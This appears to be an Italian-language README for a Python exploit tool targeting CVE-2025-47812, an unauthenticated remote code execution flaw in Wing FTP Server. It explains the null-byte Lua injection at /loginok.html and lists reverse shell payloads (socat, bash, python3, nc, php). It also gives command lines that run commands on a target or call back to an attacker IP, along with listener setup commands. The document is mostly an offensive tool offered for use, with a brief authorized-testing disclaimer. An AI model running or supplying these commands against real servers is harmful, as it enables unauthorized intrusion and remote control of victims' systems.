CVE-2025-47812 — Esecuzione di codice remoto su Wing FTP Server (RCE)

Panoramica

Come funziona

La vulnerabilità risiede nell'endpoint di login /loginok.html. Il server non riesce a sanificare i byte nulli (%00) nel campo username. Ciò consente a un attaccante di iniettare codice Lua arbitrario nei file di sessione, che vengono successivamente valutati lato server quando si accede a endpoint come /dir.html, senza alcuna autenticazione richiesta.

Riferimento: https://nvd.nist.gov/vuln/detail/CVE-2025-47812

Caratteristiche

• Esecuzione di comandi non autenticata
• Molteplici payload di reverse shell (socat, bash, python3, nc-e, nc-fifo, php)
• Payload Socat prioritizzato per TTY interattivo completo
• Verifica della raggiungibilità del target preliminare
• Estrazione automatica dell'UID della sessione con sessione fresca per tentativo
• Seleziona un payload specifico con il flag --payload
• Salva l'output del comando in un file con -o
• --timeout e --delay configurabili
• Modalità verbose/debug con -v
• Gestione graziosa di Ctrl+C
• Riepilogo dei payload dopo i tentativi di reverse shell
• Modalità argomenti CLI + menu interattivo
• Output con codice colore

Requisiti

pip install requests

Utilizzo

Modalità interattiva

python3 wingftp_rce_exploit.py

Modalità CLI

# Esegui un comando
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"

# Salva l'output in un file
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt

# Reverse shell (prova tutti i payload)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444

# Reverse shell (payload specifico)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat

Tutte le opzioni

-u / --url        URL di base del target
-U / --username   Nome utente di login (default: anonymous)
-c / --command    Comando da eseguire (modalità comando)
-r / --rhost      IP del tuo listener (modalità reverse shell)
-p / --rport      Porta del tuo listener (modalità reverse shell)
     --payload    Payload specifico da usare (vedi elenco sotto)
     --timeout    Timeout della richiesta HTTP in secondi (default: 10)
     --delay      Ritardo tra tentativi di payload in secondi (default: 4)
-o / --output     Salva l'output del comando in un file
-v / --verbose    Abilita output di debug

Payload di Reverse Shell

Esempi

Esecuzione di comandi

URL di destinazione : http://192.168.1.10:5466
Nome utente   : anonymous
Scelta     : 1
Comando    : whoami

Reverse shell

Passo 1 — Avvia il tuo listener (socat consigliato per TTY completo):

socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr

O con nc:

nc -lvnp 4444

Passo 2 — Esegui l'exploit:

python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444

Crediti

• PoC originale di blindma1den
• Migliorato ed esteso da Havbuy

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati.
NON utilizzarlo contro sistemi di cui non possiedi o non hai esplicita autorizzazione scritta per testare.
L'uso non autorizzato è illegale. Gli autori non si assumono alcuna responsabilità per un uso improprio.